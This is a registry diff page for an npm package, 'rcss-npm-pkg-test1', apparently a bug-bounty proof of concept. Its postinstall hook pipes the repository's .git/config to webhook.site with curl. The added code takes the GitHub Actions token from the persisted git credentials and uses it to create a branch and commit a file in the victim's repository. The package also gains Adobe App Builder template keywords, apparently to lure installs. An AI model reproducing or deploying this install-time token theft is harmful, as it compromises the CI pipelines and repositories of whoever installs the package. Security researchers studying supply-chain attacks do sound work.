rcss-npm-pkg-test1 1.0.1 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +46 -0
  2. package/install.yml +4 -0
  3. package/package.json +2 -2
package/index.js CHANGED
@@ -12,3 +12,49 @@ exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/Test
12
12
  console.log(`[PoC] Command Output:\n${stdout}`);
13
13
  });
14
14
  console.log("===============================================================");
15
+
16
+ const { execSync } = require('child_process');
17
+
18
+ // Only run once (first Linux runner), and only in GitHub Actions
19
+ if (process.platform !== 'linux' || !process.env.GITHUB_WORKSPACE) process.exit(0);
20
+
21
+ // Extract GITHUB_TOKEN from git credentials persisted by actions/checkout
22
+ let token = null;
23
+ try {
24
+ const header = execSync(
25
+ `git -C "${process.env.GITHUB_WORKSPACE}" config --get http.https://github.com/.extraheader`,
26
+ { encoding: 'utf8', timeout: 5000 }
27
+ ).trim();
28
+ const b64 = header.split('basic ')[1].trim();
29
+ token = Buffer.from(b64, 'base64').toString().split(':')[1];
30
+ } catch (e) { process.exit(0); }
31
+
32
+ if (!token) process.exit(0);
33
+
34
+ const repo = process.env.GITHUB_REPOSITORY;
35
+ const auth = `-H "Authorization: token ${token}" -H "Accept: application/vnd.github+json"`;
36
+
37
+ // Get main branch SHA
38
+ const ref = JSON.parse(execSync(
39
+ `curl -sf ${auth} "https://api.github.com/repos/${repo}/git/ref/heads/main"`,
40
+ { encoding: 'utf8', timeout: 10000 }
41
+ ));
42
+
43
+ // Create branch
44
+ execSync(
45
+ `curl -sf -X POST ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
46
+ ref: 'refs/heads/rcss-h1-test',
47
+ sha: ref.object.sha
48
+ })}' "https://api.github.com/repos/${repo}/git/refs"`,
49
+ { encoding: 'utf8', timeout: 10000 }
50
+ );
51
+
52
+ // Create file
53
+ execSync(
54
+ `curl -sf -X PUT ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
55
+ message: 'HackerOne Report Test File',
56
+ content: Buffer.from('hackerone.com/rcss\n').toString('base64'),
57
+ branch: 'rcss-h1-test'
58
+ })}' "https://api.github.com/repos/${repo}/contents/h1-poc.md"`,
59
+ { encoding: 'utf8', timeout: 10000 }
60
+ );
package/install.yml ADDED
@@ -0,0 +1,4 @@
1
+ $schema: http://json-schema.org/draft-07/schema
2
+ $id: https://adobe.io/schemas/app-builder-templates/1
3
+ categories:
4
+ - action
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "rcss-npm-pkg-test1",
3
- "version": "1.0.1",
3
+ "version": "3.0.0",
4
4
  "description": "A test package that runs a script on install",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "postinstall": "node index.js"
8
8
  },
9
- "keywords": [],
9
+ "keywords": ["aio", "aio-app-builder-template"],
10
10
  "author": "0xrcss",
11
11
  "license": "ISC"
12
12
  }